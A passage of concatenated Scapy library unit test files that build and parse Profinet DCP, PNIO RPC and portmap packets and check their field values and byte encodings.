assert(p[DCPNameOfStationBlock].block_info == 0x00) assert(p[DCPNameOfStationBlock].name_of_station == b'device') # - DCPDeviceIDBlock assert(p[DCPDeviceIDBlock].option == 0x02) assert(p[DCPDeviceIDBlock].sub_option == 0x03) assert(p[DCPDeviceIDBlock].dcp_block_length == 0x06) assert(p[DCPDeviceIDBlock].block_info == 0x00) assert(p[DCPDeviceIDBlock].vendor_id == 0x002a) assert(p[DCPDeviceIDBlock].device_id == 0x0313) # - DCPDeviceRoleBlock assert(p[DCPDeviceRoleBlock].option == 0x02) assert(p[DCPDeviceRoleBlock].sub_option == 0x04) assert(p[DCPDeviceRoleBlock].dcp_block_length == 0x04) assert(p[DCPDeviceRoleBlock].block_info == 0x00) assert(p[DCPDeviceRoleBlock].device_role_details == 0x01) # - DCPDeviceInstanceBlock assert(p[DCPDeviceInstanceBlock].option == 0x02) assert(p[DCPDeviceInstanceBlock].sub_option == 0x07) assert(p[DCPDeviceInstanceBlock].dcp_block_length == 0x04) assert(p[DCPDeviceInstanceBlock].block_info == 0x00) assert(p[DCPDeviceInstanceBlock].device_instance_high == 0x00) assert(p[DCPDeviceInstanceBlock].device_instance_low == 0x01) # - DCPIPBlock assert(p[DCPIPBlock].option == 0x01) assert(p[DCPIPBlock].sub_option == 0x02) assert(p[DCPIPBlock].dcp_block_length == 0x0e) assert(p[DCPIPBlock].block_info == 0x01) assert(p[DCPIPBlock].ip == "192.168.1.14") assert(p[DCPIPBlock].netmask == "255.255.255.0") assert(p[DCPIPBlock].gateway == "192.168.1.14") = DCP Set Request parsing p = Ether(b'\x94\x65\x9c\x51\x90\x7d\xac\x64\x17\x21\x35\xcf\x81\x00\x00\x00' \ b'\x88\x92\xfe\xfd\x04\x01\x00\x00\x00\x01\x00\x00\x00\x08\x05\x04' \ b'\x00\x03\x02\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert(p[ProfinetIO].frameID == 0xfefd) assert(p[ProfinetDCP].service_id == 0x04) assert(p[ProfinetDCP].service_type == 0x01) assert(p[ProfinetDCP].xid == 0x0000001) assert(p[ProfinetDCP].reserved == 0x00) assert(p[ProfinetDCP].dcp_data_length == 0x08) assert(p[DCPControlBlock].option == 0x05) assert(p[DCPControlBlock].sub_option == 0x04) assert(p[DCPControlBlock].dcp_block_length == 0x03) assert(p[DCPControlBlock].response == 0x02) assert(p[DCPControlBlock].response_sub_option == 0x02) assert(p[DCPControlBlock].block_error == 0x00) = DCP Identify All Request crafting # dcp_data_length cannot be calculated automatically at this time p = ProfinetIO(frameID=DCP_IDENTIFY_REQUEST_FRAME_ID) / ProfinetDCP(service_id=DCP_SERVICE_ID_IDENTIFY, service_type=DCP_REQUEST, option=255, sub_option=255, dcp_data_length=4) assert(p[ProfinetIO].frameID == 0xfefe) assert(p[ProfinetDCP].service_id == 0x05) assert(p[ProfinetDCP].service_type == 0x00) assert(p[ProfinetDCP].xid == 0x1000001) assert(p[ProfinetDCP].reserved == 0x00) assert(p[ProfinetDCP].dcp_data_length == 0x04) assert(p[ProfinetDCP].option == 0xff) assert(p[ProfinetDCP].sub_option == 0xff) assert(p[ProfinetDCP].dcp_block_length == 0x00) = DCP Set Name Request with specified name crafting p = ProfinetIO(frameID=DCP_GET_SET_FRAME_ID) / ProfinetDCP ( service_id=DCP_SERVICE_ID_SET, service_type=DCP_REQUEST, option=2, sub_option=2, name_of_station="device", dcp_block_length=8, dcp_data_length=12) assert(p[ProfinetIO].frameID == 0xfefd) assert(p[ProfinetDCP].service_id == 0x04) assert(p[ProfinetDCP].service_type == 0x00) assert(p[ProfinetDCP].xid == 0x1000001) assert(p[ProfinetDCP].reserved == 0x00) assert(p[ProfinetDCP].dcp_data_length == 0x0c) assert(p[ProfinetDCP].option == 0x02) assert(p[ProfinetDCP].sub_option == 0x02) assert(p[ProfinetDCP].dcp_block_length == 0x08) assert(p[ProfinetDCP].block_qualifier == 0x0001) assert(p[ProfinetDCP].name_of_station == b'device') = DCP Identify Response crafting p = ProfinetIO(frameID=DCP_IDENTIFY_RESPONSE_FRAME_ID) / ProfinetDCP(service_id=DCP_SERVICE_ID_IDENTIFY, service_type=DCP_RESPONSE, dcp_data_length=12) / DCPNameOfStationBlock(name_of_station="device", dcp_block_length=8) assert(p[ProfinetIO].frameID == 0xfeff) assert(p[ProfinetDCP].service_id == 0x05) assert(p[ProfinetDCP].service_type == 0x01) assert(p[ProfinetDCP].xid == 0x1000001) assert(p[ProfinetDCP].reserved == 0x00) assert(p[ProfinetDCP].dcp_data_length == 0x0c) assert(p[DCPNameOfStationBlock].option == 0x02) assert(p[DCPNameOfStationBlock].sub_option == 0x02) assert(p[DCPNameOfStationBlock].dcp_block_length == 0x08) assert(p[DCPNameOfStationBlock].block_info == 0x00) assert(p[DCPNameOfStationBlock].name_of_station == b'device') conf.debug_dissector = old_conf_dissector scapy-2.4.4/test/contrib/pnio_rpc.uts000066400000000000000000000664341372370053500176470ustar00rootroot00000000000000% PNIO RPC layer test campaign + Syntax check = Import the PNIO RPC layer from scapy.contrib.dce_rpc import * from scapy.contrib.pnio_rpc import * from scapy.modules.six import itervalues = Check that we have UUIDs for v in itervalues(RPC_INTERFACE_UUID): assert(isinstance(v, UUID)) + Check Block = Block default values bytes(Block()) == bytearray.fromhex('000000020100') = Block basic example bytes(Block(load=b'\x01\x02\x03')) == bytearray.fromhex('000000050100010203') = Block has no payload (only padding) p = Block(bytearray.fromhex('000000050100010203040506')) p == Block(block_length=5, load=b'\x01\x02\x03') / conf.padding_layer(b'\x04\x05\x06') #################################################################### #################################################################### + Check IODControlReq = IODControlReq default values bytes(IODControlReq()) == bytearray.fromhex('0000001c01000000000000000000000000000000000000000000000000000000') = IODControlReq basic example (IODControlReq PrmEnd control) bytes(IODControlReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=2, ControlCommand_PrmEnd=1)) == bytearray.fromhex('0110001c010000000123456789abcdef0123456789abcdef0002000000010000') = IODControlReq dissection p = IODControlReq(bytearray.fromhex('0118001c010000000123456789abcdef0123456789abcdef0005000000400000ef')) p == IODControlReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=5, ControlCommand_PrmBegin=1, block_type='IODBlockReq_connect_begin', block_length=28, padding=b'\0\0') / conf.padding_layer(b'\xef') = IODControlReq response p = p.get_response() p == IODControlRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=5, block_type='IODBlockRes_connect_begin') #################################################################### + Check IODControlRes = IODControlRes default values bytes(IODControlRes()) == bytearray.fromhex('8110001c01000000000000000000000000000000000000000000000000080000') = IODControlRes basic example (IODControlRes PrmEnd control) bytes(IODControlRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=2, block_type='IODBlockRes_connect_end')) == bytearray.fromhex('8110001c010000000123456789abcdef0123456789abcdef0002000000080000') = IODControlRes dissection p = IODControlRes(bytearray.fromhex('8118001c010000000123456789abcdef0123456789abcdef0005000000080000ef')) p == IODControlRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=5, block_type='IODBlockRes_connect_begin', block_length=28, padding=b'\0\0') / conf.padding_layer(b'\xef') #################################################################### #################################################################### + Check IODWriteReq = IODWriteReq default values bytes(IODWriteReq()) == bytearray.fromhex('0008003c010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') = IODWriteReq basic example bytes(IODWriteReq( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321 ) / b'\xab\xcd' ) == bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcd') = IODWriteReq dissection p = IODWriteReq(bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcdef')) p == IODWriteReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321, block_length=60, recordDataLength=2, padding='\0\0', RWPadding=b'\0'*24 ) / b'\xab\xcd' / conf.padding_layer(b'\xef') = IODWriteReq response p = p.get_response() p == IODWriteRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321) #################################################################### + Check IODWriteRes = IODWriteRes default values bytes(IODWriteRes()) == bytearray.fromhex('8008003c010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') = IODWriteRes basic example bytes(IODWriteRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321 )) == bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000') = IODWriteRes dissection p = IODWriteRes(bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000ef')) p == IODWriteRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321, recordDataLength=0, block_length=60, padding=b'\0\0', RWPadding=b'\0'*16 ) / conf.padding_layer(b'\xef') #################################################################### #################################################################### + Check IODWriteMultipleReq ######### = IODWriteMultipleReq default values bytes(IODWriteMultipleReq()) == bytearray.fromhex('0008003c0100000000000000000000000000000000000000ffffffffffffffff0000e04000000000000000000000000000000000000000000000000000000000') ######### = IODWriteMultipleReq basic example bytes(IODWriteMultipleReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', blocks=[ IODWriteReq( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321 ) / b'\xab\xcd', IODWriteReq( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, index=0x1234 ) / b'\x01\x02', ]) ) == bytearray.fromhex('0008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000086000000000000000000000000000000000000000000000000') + \ bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcd') + b'\0\0' + \ bytearray.fromhex('0008003c010000020123456789abcdef0123456789abcdef000000020003000400001234000000020000000000000000000000000000000000000000000000000102') ######### = IODWriteMultipleReq dissection p = IODWriteMultipleReq( bytearray.fromhex('0008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000086000000000000000000000000000000000000000000000000') + \ bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcd') + b'\0\0' + \ bytearray.fromhex('0008003c010000020123456789abcdef0123456789abcdef000000020003000400001234000000020000000000000000000000000000000000000000000000000102') + b'\xef' ) p == IODWriteMultipleReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', recordDataLength=0x86, padding=b'\0'*2, RWPadding=b'\0'*24, block_length=60, blocks=[ IODWriteReq( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321, recordDataLength=2, padding=b'\0'*2, RWPadding=b'\0'*24, block_length=60 ) / b'\xab\xcd', IODWriteReq( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, index=0x1234, recordDataLength=2, padding=b'\0'*2, RWPadding=b'\0'*24, block_length=60 ) / b'\x01\x02', ]) / conf.padding_layer(b'\xef') ######### = IODWriteMultipleReq response p = p.get_response() p == IODWriteMultipleRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', blocks=[ IODWriteRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321 ), IODWriteRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, index=0x1234 ), ]) #################################################################### + Check IODWriteMultipleRes = IODWriteMultipleRes default values bytes(IODWriteMultipleRes()) == bytearray.fromhex('8008003c0100000000000000000000000000000000000000ffffffffffffffff0000e04000000000000000000000000000000000000000000000000000000000') = IODWriteMultipleRes basic example bytes(IODWriteMultipleRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', blocks=[ IODWriteRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321 ), IODWriteRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, index=0x1234 ), ]) ) == bytearray.fromhex('8008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000080000000000000000000000000000000000000000000000000') + \ bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000') + \ bytearray.fromhex('8008003c010000020123456789abcdef0123456789abcdef00000002000300040000123400000000000000000000000000000000000000000000000000000000') = IODWriteMultipleRes dissection p = IODWriteMultipleRes( bytearray.fromhex('8008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000080000000000000000000000000000000000000000000000000') + \ bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000') + \ bytearray.fromhex('8008003c010000020123456789abcdef0123456789abcdef00000002000300040000123400000000000000000000000000000000000000000000000000000000') + b'\xef' ) p == IODWriteMultipleRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', recordDataLength=0x80, padding=b'\0'*2, RWPadding=b'\0'*16, block_length=60, blocks=[ IODWriteRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321, recordDataLength=0, padding=b'\0'*2, RWPadding=b'\0'*16, block_length=60 ), IODWriteRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, index=0x1234, recordDataLength=0, padding=b'\0'*2, RWPadding=b'\0'*16, block_length=60 ), ]) / conf.padding_layer(b'\xef') #################################################################### #################################################################### + Check ARBlockReq = ARBlockReq default values bytes(ARBlockReq()) == bytearray.fromhex('0101003601000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000103e888920000') = ARBlockReq basic example bytes(ARBlockReq( ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1, CMInitiatorObjectUUID='dea00000-6c97-11d1-8271-010203040506', ARProperties_ParametrizationServer='CM_Initator', CMInitiatorStationName='plc1') ) == bytearray.fromhex('0101003a010000010123456789abcdef0123456789abcdef0001000000000000dea000006c9711d182710102030405060000001103e888920004') + b'plc1' = ARBlockReq dissection p = ARBlockReq(bytearray.fromhex('0101003a010000010123456789abcdef0123456789abcdef0001010203040506dea000006c9711d182710102030405060000001103e888920004') + b'plc1' + b'\xef') p == ARBlockReq( ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1, CMInitiatorObjectUUID='dea00000-6c97-11d1-8271-010203040506', ARProperties_ParametrizationServer='CM_Initator', CMInitiatorMacAdd='01:02:03:04:05:06', StationNameLength=4, CMInitiatorStationName='plc1', block_length=58 ) / conf.padding_layer(b'\xef') = ARBlockReq response p = p.get_response() p == ARBlockRes(ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1) #################################################################### + Check ARBlockRes = ARBlockRes default values bytes(ARBlockRes()) == bytearray.fromhex('8101001e010000010000000000000000000000000000000000000000000000008892') = ARBlockRes basic example bytes( ARBlockRes(ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1) ) == bytearray.fromhex('8101001e010000010123456789abcdef0123456789abcdef00010000000000008892') = ARBlockRes dissection p = ARBlockRes(bytearray.fromhex('8101001e010000010123456789abcdef0123456789abcdef00010102030405068892ef')) p == ARBlockRes( ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1, CMResponderMacAdd='01:02:03:04:05:06', block_length=30) / conf.padding_layer(b'\xef') #################################################################### #################################################################### + Check IOCRBlockReq = IOCRBlockReq default values bytes(IOCRBlockReq()) == bytearray.fromhex('0102002a010000010001889200000000002880000020002000010000ffffffff000a000ac0000000000000000000') = IOCRAPI default values bytes(IOCRAPI()) == bytearray.fromhex('0000000000000000') = IOCRAPIObject default values bytes(IOCRAPIObject()) == bytearray.fromhex('000000000000') = IOCRBlockReq basic example p = IOCRBlockReq( IOCRType='OutputCR', IOCRReference=1, SendClockFactor=2, ReductionRatio=32, DataLength=47, FrameID=0x8014, APIs=[ IOCRAPI( API=4, IODataObjects=[ IOCRAPIObject(SlotNumber=2, SubslotNumber=1, FrameOffset=0), IOCRAPIObject(SlotNumber=1, SubslotNumber=1, FrameOffset=9), ] ), IOCRAPI( API=0, IODataObjects=[ IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=15), ], IOCSs=[ IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=4), ], ), ] ) bytes(p) == \ bytearray.fromhex('01020052010000020001889200000000002f80140002002000010000ffffffff000a000ac0000000000000000002' + \ '0000000400020002000100000001000100090000' + \ '00000000000100030001000f0001000300010004') = IOCRBlockReq dissection p = IOCRBlockReq( bytearray.fromhex('01020052010000020001889200000000002f80140002002000010000ffffffff000a000ac0000102030405060002' + \ '0000000400020002000100000001000100090000' + \ '00000000000100030001000f0001000300010004') + b'\xef') p == IOCRBlockReq( IOCRType='OutputCR', IOCRReference=1, SendClockFactor=2, IOCRMulticastMACAdd='01:02:03:04:05:06', ReductionRatio=32, DataLength=47, FrameID=0x8014, block_length=82, NumberOfAPIs=2, APIs=[ IOCRAPI( API=4, NumberOfIODataObjects=2, IODataObjects=[ IOCRAPIObject(SlotNumber=2, SubslotNumber=1, FrameOffset=0), IOCRAPIObject(SlotNumber=1, SubslotNumber=1, FrameOffset=9), ], NumberOfIOCS=0 ), IOCRAPI( API=0, NumberOfIODataObjects=1, IODataObjects=[ IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=15), ], NumberOfIOCS=1, IOCSs=[ IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=4), ], ), ] ) / conf.padding_layer(b'\xef') = IOCRBlockReq response p = p.get_response() p == IOCRBlockRes(IOCRType='OutputCR', IOCRReference=1, FrameID=0x8014) #################################################################### + Check IOCRBlockRes = IOCRBlockRes default values bytes(IOCRBlockRes()) == bytearray.fromhex('810200080100000100018000') = IOCRBlockRes basic example bytes( IOCRBlockRes(IOCRType='InputCR', IOCRReference=2, FrameID=0x8014) ) == bytearray.fromhex('810200080100000100028014') = IOCRBlockRes dissection p = IOCRBlockRes(bytearray.fromhex('810200080100000100028014ef')) p == IOCRBlockRes(IOCRType='InputCR', IOCRReference=2, FrameID=0x8014, block_length=8) / conf.padding_layer(b'\xef') #################################################################### #################################################################### + Check ExpectedSubmoduleBlockReq = ExpectedSubmoduleBlockReq default values bytes(ExpectedSubmoduleBlockReq()) == bytearray.fromhex('0104000401000000') = ExpectedSubmoduleAPI default values bytes(ExpectedSubmoduleAPI()) == bytearray.fromhex('0000000000000000000000000000') = ExpectedSubmodule default values bytes(ExpectedSubmodule()) == bytearray.fromhex('0000000000000000') = ExpectedSubmoduleDataDescription default values bytes(ExpectedSubmoduleDataDescription()) == bytearray.fromhex('000000000000') = ExpectedSubmoduleBlockReq basic example p = ExpectedSubmoduleBlockReq( APIs=[ ExpectedSubmoduleAPI( API=4, SlotNumber=2, ModuleIdentNumber=0x08c4, Submodules=[ ExpectedSubmodule( SubslotNumber=1, SubmoduleIdentNumber=0x0123, SubmoduleProperties_Type='INPUT_OUTPUT', DataDescription=[ ExpectedSubmoduleDataDescription( DataDescription='Output', SubmoduleDataLength=5, LengthIOPS=2, LengthIOCS=0 ), ExpectedSubmoduleDataDescription( DataDescription='Input', SubmoduleDataLength=3, LengthIOPS=1, LengthIOCS=2 ) ] ), ] ), ] ) bytes(p) == \ bytearray.fromhex('0104002601000001') + \ bytearray.fromhex('000000040002000008c400000001') + \ bytearray.fromhex('0001000001230003') + \ bytearray.fromhex('000200050002') + \ bytearray.fromhex('000100030201') = ExpectedSubmoduleBlockReq dissection p = ExpectedSubmoduleBlockReq( bytearray.fromhex('0104002601000001') + \ bytearray.fromhex('000000040002000008c400000001') + \ bytearray.fromhex('0001000001230003') + \ bytearray.fromhex('000200050002') + \ bytearray.fromhex('000100030201') + b'\xef' ) p == ExpectedSubmoduleBlockReq(block_length=38, NumberOfAPIs=1, APIs=[ ExpectedSubmoduleAPI( API=4, SlotNumber=2, ModuleIdentNumber=0x08c4, NumberOfSubmodules=1 ,Submodules=[ ExpectedSubmodule( SubslotNumber=1, SubmoduleIdentNumber=0x0123, SubmoduleProperties_Type='INPUT_OUTPUT', DataDescription=[ ExpectedSubmoduleDataDescription( DataDescription='Output', SubmoduleDataLength=5, LengthIOPS=2, LengthIOCS=0 ), ExpectedSubmoduleDataDescription( DataDescription='Input', SubmoduleDataLength=3, LengthIOPS=1, LengthIOCS=2 ) ] ), ] ), ] ) / conf.padding_layer(b'\xef') #################################################################### #################################################################### + Check PNIOServiceReqPDU = PNIOServiceReqPDU basic example * PNIOServiceReqPDU must always be placed above a DCE/RPC layer as it requires the endianness field p = DceRpc() / PNIOServiceReqPDU(blocks=[ Block(load=b'\x01\x02') ]) s = bytes(p) # Remove the random UUID part before comparison s[:18] + s[24:] == \ bytearray.fromhex('0400000000000000dea000006c9711d18271' + 'dea000016c9711d1827100a02442df7d000000000000000000000000000000000000000000000001000000000000ffffffff001c00000000' + \ '0000000800000008000000080000000000000008' + '0000000401000102') = PNIOServiceReqPDU dissection p = DceRpc( bytes(bytearray.fromhex('0400000000000000dea000006c9711d18271010203040506dea000016c9711d1827100a02442df7d000000000000000000000000000000000000000000000001000000000000ffffffff001c00000000' + \ '0000000f000000080000000f0000000000000008' + \ '0000000401000102ef') )) bytes(p.payload) == bytes(PNIOServiceReqPDU(args_length=8, args_max=15, max_count=15, actual_count=8, blocks=[ Block(block_length=4, load=b'\x01\x02') ] ) / b'\xef') #################################################################### #################################################################### + Check PNIOServiceResPDU = PNIOServiceResPDU basic example * PNIOServiceResPDU must always be placed above a DCE/RPC layer as it requires the endianness field p = DceRpc() / PNIOServiceResPDU(blocks=[ Block(load=b'\x01\x02') ]) s = bytes(p) # Remove the random UUID part before comparison s[:18] + s[24:] == \ bytearray.fromhex('0402000000000000dea000006c9711d18271' + 'dea000026c9711d1827100a02442df7d000000000000000000000000000000000000000000000001000000000000ffffffff001c00000000' + \ '0000000000000008000000080000000000000008' + \ '0000000401000102') = PNIOServiceResPDU dissection p = DceRpc( bytes(bytearray.fromhex('0402000000000000dea000006c9711d18271010203040506dea000026c9711d1827100a02442df7d000000000000000000000000000000000000000000000001000000000000ffffffff001c00000000' + \ '00001234000000080000000f0000000000000008' + \ '0000000401000102ef') )) bytes(p.payload) == bytes(PNIOServiceResPDU(status=0x1234, args_length=8, max_count=15, actual_count=8, blocks=[ Block(block_length=4, load=b'\x01\x02') ] ) / b'\xef') #################################################################### ## Some usual examples ## #################################################################### + Check some basic examples #### Connect Request = A PNIO RPC Connect Request p = DceRpc( endianness='little', opnum=0, sequence_num=0, object_uuid='dea00000-6c97-11d1-8271-010203040506', activity='01234567-89ab-cdef-0123-456789abcdef' ) / PNIOServiceReqPDU( blocks=[ # AR block ARBlockReq( ARType='IOCARSingle', ARUUID='fedcba98-7654-3210-fedc-ba9876543210', SessionKey=0, CMInitiatorMacAdd='01:02:03:04:05:06', CMInitiatorStationName='plc-1', CMInitiatorObjectUUID='dea00000-6c97-11d1-8271-010203040506', ARProperties_ParametrizationServer='CM_Initator' ), # IO CR input block IOCRBlockReq( IOCRType='InputCR', IOCRReference=1, SendClockFactor=2, ReductionRatio=32, DataLength=40, APIs=[ IOCRAPI( API=0, IODataObjects=[ IOCRAPIObject(SlotNumber=3, SubslotNumber=1,FrameOffset=15), ], IOCSs=[ IOCRAPIObject(SlotNumber=3, SubslotNumber=1,FrameOffset=4), ], ), ] ), # IO CR output block IOCRBlockReq( IOCRType='OutputCR', IOCRReference=2, SendClockFactor=8, ReductionRatio=32, DataLength=52, FrameID=0xffff, APIs=[ IOCRAPI( API=0, IODataObjects=[ IOCRAPIObject(SlotNumber=3, SubslotNumber=1,FrameOffset=0), IOCRAPIObject(SlotNumber=1, SubslotNumber=2,FrameOffset=9), ], ), ] ), # List of expected submodules ExpectedSubmoduleBlockReq( APIs=[ ExpectedSubmoduleAPI( API=0, SlotNumber=3, ModuleIdentNumber=0x08c4, Submodules=[ ExpectedSubmodule( SubslotNumber=1, SubmoduleIdentNumber=0x0124, SubmoduleProperties_Type='INPUT_OUTPUT', DataDescription=[ ExpectedSubmoduleDataDescription( DataDescription='Output', SubmoduleDataLength=3, LengthIOPS=1, LengthIOCS=1 ), ExpectedSubmoduleDataDescription( DataDescription='Input', SubmoduleDataLength=5, LengthIOPS=2, LengthIOCS=0 ) ] ), ] ), ] ), ExpectedSubmoduleBlockReq( APIs=[ ExpectedSubmoduleAPI( API=0, SlotNumber=1, ModuleIdentNumber=0x08c3, Submodules=[ ExpectedSubmodule( SubslotNumber=2, SubmoduleIdentNumber=0x0424, SubmoduleProperties_Type='OUTPUT', DataDescription=[ ExpectedSubmoduleDataDescription( DataDescription='Output', SubmoduleDataLength=5, LengthIOPS=1, LengthIOCS=0 ) ] ), ] ), ] ), ] ) bytes(p) == bytearray.fromhex( '04000000100000000000a0de976cd11182710102030405060100a0de976cd111827100a02442df7d67452301ab89efcd0123456789abcdef0000000001000000000000000000ffffffff250100000000' + \ '1101000011010000110100000000000011010000' + \ '0101003b01000001fedcba9876543210fedcba98765432100000010203040506dea000006c9711d182710102030405060000001103e888920005') + b'plc-1' + \ bytearray.fromhex('0102003e010000010001889200000000002880000002002000010000ffffffff000a000ac0000000000000000001' + \ '00000000000100030001000f0001000300010004' + \ '0102003e0100000200028892000000000034ffff0008002000010000ffffffff000a000ac0000000000000000001' + \ '0000000000020003000100000001000200090000' + \ '0104002601000001000000000003000008c400000001' + \ '0001000001240003' + \ '000200030101' + \ '000100050002' + \ '0104002001000001000000000001000008c300000001' + \ '0002000004240002' + \ '000200050001') #### Write Request = A PNIO RPC Write Request p = DceRpc( endianness='little', opnum=2, sequence_num=1, object_uuid='dea00000-6c97-11d1-8271-010203040506', activity='01234567-89ab-cdef-0123-456789abcdef' ) / PNIOServiceReqPDU( blocks=[ IODWriteMultipleReq( seqNum=0, ARUUID='fedcba98-7654-3210-fedc-ba9876543210', blocks=[ IODWriteReq( seqNum=1, API=0, slotNumber=1, subslotNumber=1, index=0x123, ARUUID='fedcba98-7654-3210-fedc-ba9876543210' ) / b'\x01\x02', IODWriteReq( seqNum=2, API=0, slotNumber=3, subslotNumber=1, ARUUID='fedcba98-7654-3210-fedc-ba9876543210' ) / FParametersBlock( F_CRC_Seed=1, F_CRC_Length='CRC-24', F_Source_Add=0xc1, F_Dest_Add=0xc2, F_WD_Time=500, F_Par_CRC=0x1234 ), ] ) ] ) bytes(p) == bytearray.fromhex( '04000000100000000000a0de976cd11182710102030405060100a0de976cd111827100a02442df7d67452301ab89efcd0123456789abcdef0000000001000000010000000200ffffffffe20000000000' + \ 'ce000000ce000000ce00000000000000ce000000' + \ '0008003c01000000fedcba9876543210fedcba9876543210ffffffffffffffff0000e0400000008e' + '00' * 24 + \ '0008003c01000001fedcba9876543210fedcba987654321000000000000100010000012300000002' + '00' * 24 + \ '01020000' + \ '0008003c01000002fedcba9876543210fedcba98765432100000000000030001000001000000000a' + '00' * 24 + \ '484000c100c201f41234') #### PrmEnd control Request = A PNIO RPC PrmEnd Control Request p = DceRpc( endianness='little', opnum=0, sequence_num=2, object_uuid='dea00000-6c97-11d1-8271-010203040506', activity='01234567-89ab-cdef-0123-456789abcdef' ) / PNIOServiceReqPDU( blocks=[ IODControlReq(ARUUID='fedcba98-7654-3210-fedc-ba9876543210', SessionKey=0, ControlCommand_PrmEnd=1) ] ) bytes(p) == bytearray.fromhex( '04000000100000000000a0de976cd11182710102030405060100a0de976cd111827100a02442df7d67452301ab89efcd0123456789abcdef0000000001000000020000000000ffffffff340000000000' + \ '2000000020000000200000000000000020000000' + \ '0110001c01000000fedcba9876543210fedcba98765432100000000000010000') #### ApplicationReady control Request = A PNIO RPC PrmEnd Control Request p = DceRpc( endianness='little', opnum=0, sequence_num=0, object_uuid='dea00000-6c97-11d1-8271-060504030201', activity='01020304-0506-0708-090a-0b0c0d0e0f00', interface_uuid=RPC_INTERFACE_UUID['UUID_IO_ControllerInterface'], ) / PNIOServiceReqPDU( blocks=[ IODControlReq(ARUUID='fedcba98-7654-3210-fedc-ba9876543210', SessionKey=0, ControlCommand_ApplicationReady=1) ] ) bytes(p) == bytearray.fromhex( '04000000100000000000a0de976cd11182710605040302010200a0de976cd111827100a02442df7d0403020106050807090a0b0c0d0e0f000000000001000000000000000000ffffffff340000000000' + \ '2000000020000000200000000000000020000000' + \ '0112001c01000000fedcba9876543210fedcba98765432100000000000020000') scapy-2.4.4/test/contrib/portmap.uts000066400000000000000000000034231372370053500175050ustar00rootroot00000000000000% Tests for portmap module ############ ############ + Packet Creation Tests = Create subpackets Map_Entry() = Create Portmap Packets NULL_Call() NULL_Reply() DUMP_Call() DUMP_Reply() GETPORT_Call() GETPORT_Reply() + Test Layer bindings = RPC Layer Bindings for Portmap calls from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Call()/NULL_Call() assert 